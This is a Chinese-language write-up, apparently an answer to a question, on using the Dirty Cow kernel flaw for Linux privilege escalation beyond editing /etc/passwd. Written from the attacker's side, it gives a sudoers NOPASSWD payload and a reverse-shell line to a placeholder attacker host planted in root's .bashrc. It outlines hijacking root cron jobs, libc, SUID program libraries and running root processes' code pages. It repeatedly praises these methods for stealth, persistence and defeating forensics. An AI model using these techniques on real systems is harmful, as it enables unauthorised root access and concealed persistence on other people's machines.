### 除了修改 `/etc/passwd` 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权

**一、关键文件劫持**

直接修改 `/etc/passwd` 可能会留下明显的日志和入侵痕迹。以下这些文件提供更隐蔽的提权路径：

**1. 劫持 `sudoers` 文件或其配置片段**

- **目标：** `/etc/sudoers` 或 `/etc/sudoers.d/*` 下的任意配置文件
- **攻击原理：** 利用 Dirty Cow 写入一行配置，允许当前低权限用户无需密码即可执行特定命令或所有命令 (`NOPASSWD: ALL`)
- **Payload 示例：** 写入一行 `user ALL=(ALL) NOPASSWD: ALL`，其中 `user` 是我们当前的低权限用户名
- **优点：** 相比于修改 `passwd` 文件，劫持 `sudoers` **无需重启**或等待登录，权限提升是**即时**的

**2. 劫持 Root 用户的定时任务 (Crontabs)**

- **目标：** `/var/spool/cron/crontabs/root` (在某些发行版上，如 Debian/Ubuntu) 或其他系统级别的 Crontab 文件（如 `/etc/crontab`）
- **攻击原理：** 利用 Dirty Cow 写入一行定时任务，该任务将在下一次执行时以 Root 权限运行我们的 Payload（例如，反弹 Shell 或创建 SUID 文件）
- **优点：** 提供**持久性**和**间接提权**。攻击载荷隐藏在定时任务中，不直接修改系统核心凭证文件

**3. 劫持 Shell 启动文件（持久化）**

- **目标：** Root 用户的 Shell 启动文件，如 `/root/.bashrc` 或 `/root/.profile`
- **攻击原理：** 在这些文件中追加我们的恶意命令。当 Root 用户下一次登录并启动 Shell 时，我们的代码将被执行
- **Payload 示例：** 写入一行 `bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1` (反弹 Root Shell)
- **优点：** 实现了 **持久性**，利用的是用户正常的登录流程

****

**二、利用动态链接库 (Shared Libraries) 劫持**

这是更高级和更隐蔽的利用方法，旨在通过系统级的动态链接机制来触发 Root 权限代码执行。

**1. 劫持系统关键库函数**

- **目标：** **系统关键的动态链接库**，如 `/lib/x86_64-linux-gnu/libc.so.6` 或 `/lib/ld-linux.so.2`
- **攻击原理：** 这是极其危险的利用。利用 Dirty Cow 覆盖这些库文件中**极小的、不常用的函数代码**，用我们的 Shellcode 替换它们。当任何以 Root 权限运行的程序调用到这个被劫持的函数时，我们的 Shellcode 就会以 Root 权限执行
- **优点：** 隐蔽性极高，因为只修改了库中的极小片段，而非整个文件

**2. 劫持 SUID/SGID 程序的依赖库**

- **目标：** 任何以 Root 权限运行的 **SUID/SGID** 程序（如 `/bin/ping`, `/usr/bin/passwd` 等）所依赖的动态链接库
- **攻击原理：** 利用 Dirty Cow 劫持这些 SUID 程序在运行时会加载的一个依赖库文件（例如，`libnss_files.so.2`）。在库中写入恶意代码，当 SUID 程序被执行时，它会加载并执行我们的恶意代码，从而获得 SUID 程序的权限（通常是 Root）

****

**三、内存区域劫持：即时提权**

Dirty Cow 的一个独特之处在于其对**内存区域**的劫持能力，这提供了即时提权的可能性

**1. 劫持 Root 进程的内存空间**

- **目标：** 任何当前正在运行的 **Root 进程**（例如，`sshd`、`crond`、`systemd`）
- **攻击原理：** 尽管不能直接对整个进程内存进行操作，但可以通过读取该进程的 `/proc/[PID]/maps` 文件，找到其 **Text Segment (代码段)** 中映射的内存页。利用 Dirty Cow，覆盖该进程代码段中的某个不常用指令，用 `JMP` 或 Shellcode 替换，从而劫持进程的执行流程
- **优点：** 提权是**即时**的，且不涉及任何文件的磁盘写入，**取证难度极高**